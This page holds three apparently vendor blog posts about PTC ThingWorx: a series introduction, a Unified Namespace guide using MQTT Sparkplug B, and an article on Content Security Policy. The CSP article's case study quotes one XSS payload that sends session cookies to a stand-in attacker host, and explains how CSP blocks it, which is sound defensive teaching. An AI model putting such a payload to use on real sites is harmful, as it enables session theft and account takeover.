IoT & Connectivity Tips

  What Is “Beyond the Pilot” and Why it matters?   Beyond the Pilot is a reference architecture series that highlights how real-world manufacturing challenges are addressed at enterprise scale across engineering, manufacturing, and service lines of business.   These stories reflect solutions built using — but not limited to — industrial IoT (IIoT), AI, and cloud technologies. Each entry captures how a specific use case — ranging from quality optimization to predictive maintenance — was solved using a combination of proven tools and repeatable design patterns.   Our goal is simple: To provide a blueprint for repeatable success, enabling technical leaders, architects, and operations teams to move from isolated wins to sustained value — securely, scalably, and strategically. Because technology doesn’t create impact in the lab — it creates impact when it’s scaled across the enterprise. Because innovation is only as powerful as its ability to sustain value across engineering, manufacturing, and service. Because manufacturers everywhere face the same question: How do we take what works in a pilot and make it work at scale? That’s exactly what this series will explore.     What You’ll Find in This Series   Each blog will highlight: The Context – The real-world problem we set out to solve The Architecture – The design patterns and integrations that made it possible The Execution – How we turned a concept into a production-ready system The Outcome – Tangible business results, from efficiency gains to cost savings The Lessons Learned – Best practices and insights you can reuse in your own journey   What’s Next   Upcoming posts will dive into: Manufacturing efficiency gains through connected operations Secure, cloud-native deployments that balance scale with compliance How digital twins are reshaping design, operations, and customer experience And much more…   Each story will link back here as the anchor introduction to this series. So stay tuned — and join us as we explore what it really takes to go beyond the pilot. Because that’s where innovation becomes transformation.

Leveraging ThingWorx for Unified Namespace with Sparkplug B Integration   Abstract   The industrial IoT (IIoT) landscape demands scalable, interoperable, and real-time data architectures to enable seamless communication across heterogeneous systems. Unified Namespace (UNS) has emerged as a new approach to organizing and contextualizing data in a centralized, hierarchical structure accessible to all devices and applications. This article explores how PTC’s ThingWorx, a leading IIoT platform, can serve as a robust foundation for operationalizing a UNS, with a specific focus on integrating MQTT-based Sparkplug B messaging. Building on the open-source SparkplugB-Edge-SDK provided by the ThingWorx Customer Success team, we demonstrate how ThingWorx can bridge edge devices, industrial systems, and enterprise applications within a UNS framework, delivering real-time visibility, scalability, and operational efficiency.   1. Introduction   1.1 The Need for Unified Namespace   In traditional industrial environments, data silos and protocol disparities hinder operational efficiency and decision-making. A Unified Namespace (UNS) addresses these challenges by providing a single, logical, and hierarchical data structure that serves as a "single source of truth" for all systems. While customers using ThingWorx have been implementing UNS without realizing it, recently when people say UNS, they also associate it with leveraging MQTT with it.  MQTT (Message Queuing Telemetry Transport) as a lightweight messaging protocol, with Sparkplug B enhancing it by adding a standardized topic structure and payload format helps enterprises with a starting point for implementing UNS.     1.2 ThingWorx: An IIoT Platform for Modern Architectures   PTC ThingWorx is a comprehensive IIoT platform designed to model, connect, and manage industrial assets while providing tools for data visualization, analytics, and integration. Its extensible architecture and support for standards like MQTT make it an ideal candidate for operationalizing a UNS. This paper builds on an example implementation, the SparkplugB-Edge-SDK, to illustrate how ThingWorx can operationalize a UNS in real-world scenarios.   2. Understanding Unified Namespace and Sparkplug B   2.1 Unified Namespace Overview   A UNS is a hierarchical naming convention that organizes all data—sensors, machines, processes, and enterprise systems—into a structured, globally accessible namespace. For example, a UNS topic might look like: FactoryA/Line1/Machine1/Sensor1/Voltage This structure ensures that data is self-describing, context-rich, and universally interpretable across the enterprise.   2.2 Sparkplug B: Enhancing MQTT for Industrial IoT   Sparkplug B is an open specification that builds on MQTT to provide a standardized framework for IIoT data exchange. Key features include: Topic Namespace: A predefined structure (e.g., spBv1.0/GroupID/MESSAGE_TYPE/NodeID/DeviceID) for consistent data addressing. State Management: Birth and death certificates to manage device connectivity. Efficient Payloads: Binary encoding via Google Protocol Buffers for compact, high-performance data transfer. Sparkplug B aligns naturally with UNS by enforcing a structured, interoperable data model suitable for industrial environments.   3. ThingWorx and Sparkplug B Integration   3.1 The SparkplugB-Edge-SDK   PTC offers several connectivity options with Kepware for industrial connectivity providing protocol transformation, and ThingWorx Edge SDKs for custom connectivity in developer friendly languages such as C-SDK, .NET SDK, and Java SDK to connect any asset with ThingWorx natively using WebSocket based AlwaysOn protocol. The SparkplugB-Edge-SDK (source and executable JAR available at https://github.com/thingworx-field-work/SparkplugB-Edge-SDK) is a Java-based component developed using ThingWorx Edge Java SDK. It integrates ThingWorx with Sparkplug B-enabled edge devices, enabling bidirectional communication over MQTT. Key components include: MQTT Client: Connects to an MQTT broker (e.g., Eclipse Mosquitto, HiveMQ) to publish and subscribe to Sparkplug B topics. ThingWorx Edge SDK Integration: Maps Sparkplug B data to ThingWorx entities (Things, Properties, Services). Configuration Flexibility: Supports customizable mappings between Sparkplug B metrics and ThingWorx data models. This SDK serves as a reference implementation for bridging edge devices with ThingWorx in a UNS context.   3.2 Architecture Overview   The proposed architecture integrates ThingWorx with a UNS as follows: Edge Layer: Devices publish data to an MQTT broker using Sparkplug B topics Broker Layer: An MQTT broker (e.g., Mosquitto) acts as the central hub, routing Sparkplug B messages. Application Layer: ThingWorx subscribes to the broker, ingests data, and maps it to its internal data model, exposing it via REST APIs, mashups, or analytics. This layered approach ensures scalability and decoupling of edge and enterprise systems.     4. Implementation Details   4.1 Setting Up the Environment   To implement a UNS with ThingWorx and Sparkplug B: Deploy an MQTT Broker: Install and configure an MQTT broker (e.g., Mosquitto) to handle Sparkplug B traffic. Configure the SparkplugB-Edge-SDK: Clone the repository: git clone <https://github.com/thingworx-field-work/SparkplugB-Edge-SDK.> Update configuration files (e.g., SparkplugBEdge.json) with MQTT broker details and ThingWorx connection credentials (URL, AppKey). Deploy the SDK on edge devices or gateways. Model in ThingWorx: Create Thing Templates and Things corresponding to edge devices. Define Properties to mirror Sparkplug B metrics (e.g., Voltage, Temperature, Pressure).   4.2 Mapping Sparkplug B to ThingWorx   The SDK maps Sparkplug B payloads to ThingWorx entities. For example: Sparkplug Topic: spBv1.0/FactoryA/DDATA/Node1/Device1/Voltage ThingWorx Entity: A Thing named FactoryA_Node1_Device1 with a Property Voltage. The SDK handles: Data Ingestion: Subscribes to Sparkplug B topics and updates ThingWorx Properties in real time. Event Handling: Processes Birth/Death messages to manage device state in ThingWorx.   4.3 Extending the UNS   ThingWorx’s extensibility allows the UNS to evolve: Services: Custom services can aggregate or transform data (e.g., calculating averages across a production line). Mashups: Visualize the UNS hierarchy using ThingWorx’s UI tools. Analytics: Integrate with ThingWorx Analytics to derive insights from UNS data.   5. Benefits of ThingWorx in a UNS   Scalability: ThingWorx’s distributed architecture supports thousands of edge devices within a UNS. Interoperability: Seamless integration with edge using Sparkplug B and with different systems using REST API OR OOTB connectors ensures compatibility with diverse industrial protocols and systems. Real-Time Visibility: Immediate data updates enable responsive decision-making. Extensibility: Developers can enhance the UNS with custom logic, integration, and visualizations.   6. Case Study: Manufacturing Line Monitoring   Consider a factory with multiple production lines. Using the SparkplugB-Edge-SDK: Edge sensors publish data to spBv1.0/FactoryA/DDATA/Line1/Machine1/ Voltage. The SDK relays this to ThingWorx, updating the Line1_Machine1 Thing’s Voltage Property. A ThingWorx mashup displays real-time Voltage (and properties like RPM, Torque/Current, Power Factor, etc.,) across all machines, organized by the UNS hierarchy. Alerts trigger if Voltage exceed thresholds, demonstrating actionable insights derived from the UNS. This setup provides a cohesive, scalable monitoring solution.   7. Challenges and Considerations   Network Reliability: MQTT requires a stable connection; ThingWorx’s data storage capabilities can mitigate disruptions. Data Volume: High-frequency updates may strain resources; optimize payload sizes and subscription rates. Security: Secure MQTT with TLS and enforce ThingWorx access controls to protect the UNS.   8. Conclusion   ThingWorx, offers a powerful platform for operationalizing a Unified Namespace in industrial IoT environments. By leveraging Sparkplug B’s standardized messaging and ThingWorx’s robust data management and visualization capabilities, organizations can achieve a scalable, interoperable, and real-time data architecture. This article provides a high-level blueprint for integrating these technologies, empowering industries to unlock the full potential of their data.   9. Road ahead   ThingWorx already ingests data over MQTT using the MQTT extension, this Sparkplug-edge SDK, Kepware, or via Azure IoT hub, but with IoT Streams capability introduced in ThingWorx v10.0, users will have the ability to send contextualized IoT data for further analysis and intelligence for end to end Industrial Data Management and UNS needs. PTC plans to provide more OOTB capabilities to ingest MQTT data coming into ThingWorx, contextualize it, and make that contextualize data rapidly available over MQTT to other resources at scale. Stay tuned!     As ThingWorx community members get further along their journey of implementing UNS using ThingWorx, please do not hesitate to provide us your feedback or ask questions in the ThingWorx IoT community.       Cheers, Ayush Tiwari Director Product Management, ThingWorx.

Introduction    As the Internet of Things (IoT) continues to grow, securing web applications and connected devices is more critical than ever. Content Security Policy (CSP) is a security feature that helps protect IoT applications from malicious threats by controlling which resources—such as scripts, styles, and images—can be loaded and executed in a browser. This article explores what CSP is, the types of attacks it prevents, its role in securing IoT applications, the most common CSP directives used for enhanced security, and a real-world case study demonstrating CSP in action.    What is Content Security Policy (CSP)?    Content Security Policy (CSP) is a web security standard designed to reduce the risk of security vulnerabilities such as Cross-Site Scripting (XSS), data injection, and clickjacking by enforcing strict content-loading policies within web applications. It allows developers to specify which domains are permitted to execute scripts, load images, fetch data, and render styles, ensuring that only trusted sources can interact with the application.    How CSP Works    CSP works by defining security policies through HTTP headers or <meta> tags in the HTML document. These policies restrict the sources from which the browser can load various types of content, including JavaScript, CSS, and images. By doing so, CSP helps prevent unauthorized code execution and ensures that applications only interact with pre-approved content providers.    Why CSP is Essential    In an era where cyber threats are becoming more sophisticated, CSP plays a crucial role in securing web applications by:  Blocking Malicious Scripts: Prevents the execution of unauthorized JavaScript injected by attackers.  Preventing Data Exfiltration: Stops malicious code from sending sensitive user or device data to untrusted servers.  Mitigating Clickjacking: Restricts embedding in iframes to prevent deceptive UI attacks.  Enforcing Trusted Sources: Ensures that all resource requests originate from approved locations.    Types of Attacks Prevented by CSP    CSP acts as a defense mechanism against several types of web security threats, including:    a. Cross-Site Scripting (XSS)  Attackers inject malicious JavaScript into a web page to steal sensitive information, manipulate content, or perform unauthorized actions on behalf of the user.  CSP prevents XSS by restricting the execution of inline scripts and untrusted third-party JavaScript.    b. Clickjacking  Attackers trick users into clicking hidden elements (e.g., disguised buttons or links) within an iframe, potentially leading to account hijacking or unintended actions.  CSP helps mitigate clickjacking by enforcing the frame-ancestors directive, which controls who can embed the application in an iframe.    c. Data Injection Attacks  Attackers inject malicious content into an application, leading to data leaks, corrupted transactions, or manipulated IoT device responses.  CSP limits data injection risks by restricting content sources and enforcing secure policies   d. Mixed Content Attacks  When a secure HTTPS site loads insecure HTTP resources, attackers can intercept or modify the content.  CSP prevents mixed content vulnerabilities by enforcing policies that allow only secure content to be loaded.    Role of CSP in Securing IoT Applications    IoT applications often involve web-based dashboards, real-time analytics, and device interactions, making them attractive targets for cyber threats. CSP plays a crucial role in strengthening security by:    a. Restricting Untrusted Content  IoT platforms often load content dynamically from various sources, including APIs, third-party libraries, and external services. Without CSP, attackers can inject malicious scripts into these data streams, compromising the integrity of IoT dashboards. By defining strict CSP policies, developers can ensure that only pre-approved content sources are allowed.    b. Preventing Unauthorized Data Access  Many IoT applications handle sensitive data, such as real-time sensor readings, user credentials, and system logs. Attackers may attempt to inject malicious scripts that exfiltrate this data to external servers. CSP prevents such unauthorized access by blocking script execution from untrusted origins and preventing cross-origin data leaks.    c. Strengthening Access Control  In IoT ecosystems, multiple users, devices, and services interact with web applications. Without strict access controls, attackers can exploit weak points to execute unauthorized commands or alter data. CSP helps enforce access control by limiting the execution of scripts and API requests to verified sources, ensuring that only authenticated and authorized entities can interact with the system.    d. Minimizing Third-Party Risks  Many IoT applications integrate with third-party analytics tools, mapping services, and external widgets. If these third-party services are compromised, they can introduce vulnerabilities into the IoT ecosystem. CSP allows developers to whitelist only trusted third-party services, reducing the risk of supply chain attacks.    Common CSP Directives for Enhanced Security    To maximize security, developers should implement the following key CSP directives:  default-src: Defines the default source for all types of content (scripts, images, styles, etc.).  connect-src: Governs network requests (e.g., API calls, WebSockets, IoT data exchanges).  font-src: Specifies trusted sources for web fonts.  frame-ancestors: Prevents clickjacking by restricting which domains can embed the application in an iframe.  frame-src: Controls the sources from which iframes can be loaded.  img-src: Specifies trusted sources for loading images.  media-src: Defines allowed sources for media files like audio and video.  object-src: Restricts the sources from which plugins (e.g., Flash, Java applets) can be loaded.  script-src: Controls which sources are allowed to execute JavaScript.  style-src: Restricts the sources for CSS stylesheets.  worker-src: Defines the sources allowed to create web workers and service workers.  By defining a least-privilege CSP policy, developers can significantly reduce the attack surface and protect IoT applications from evolving cyber threats.    Case Study: Preventing an XSS Attack in an Industrial IoT Platform    Scenario:    A manufacturing company uses an Industrial IoT (IIoT) platform to monitor real-time sensor data from its factory machinery. The platform provides a web-based dashboard where engineers can track machine performance, predict failures, and configure alerts.    Attack Attempt:    An attacker exploits a form input field used for naming machines and injects the following malicious script:    <script>fetch('https://malicious.com/steal?data='+document.cookie);</script>    Since the platform lacks CSP enforcement, this script executes within the engineers’ browsers, stealing session cookies and granting unauthorized access to the attacker.    How CSP Prevented the Attack:    By implementing a CSP policy that restricts script execution to trusted sources, the attack is neutralized. The following CSP directive is applied:    Content-Security-Policy: script-src 'self' https://trusted-scripts.com;    This prevents unauthorized script execution, ensuring that malicious scripts injected by attackers do not run within the IIoT platform. As a result, the IIoT system remains secure, preventing attackers from compromising sensitive factory data or disrupting production operations.    Conclusion    Content Security Policy (CSP) is a fundamental security measure for modern web applications, particularly those operating in IoT environments. By understanding CSP, recognizing the threats it mitigates, and implementing the most effective directives, developers can ensure a more secure and resilient application framework.    CSP support has been introduced in ThingWorx versions 9.3.15, 9.4.5, 9.5.1, and 9.6.0. In the initial release, this feature will be disabled by default, and cloud customers will need to contact the support team to request activation, as it will not be enabled by default. The current implementation establishes a foundation that facilitates future out-of-the-box (OOTB) enablement of CSP in subsequent releases.   For more information on implementing the Content Security Policy, kindly refer to ThingWorx Help Center   Vineet Khokhar Principal Product Manager, IoT Security   Stay tuned for more updates as we approach the release of ThingWorx v10.0, and as always, in case of issues, feel free to reach out to <support.ptc.com>
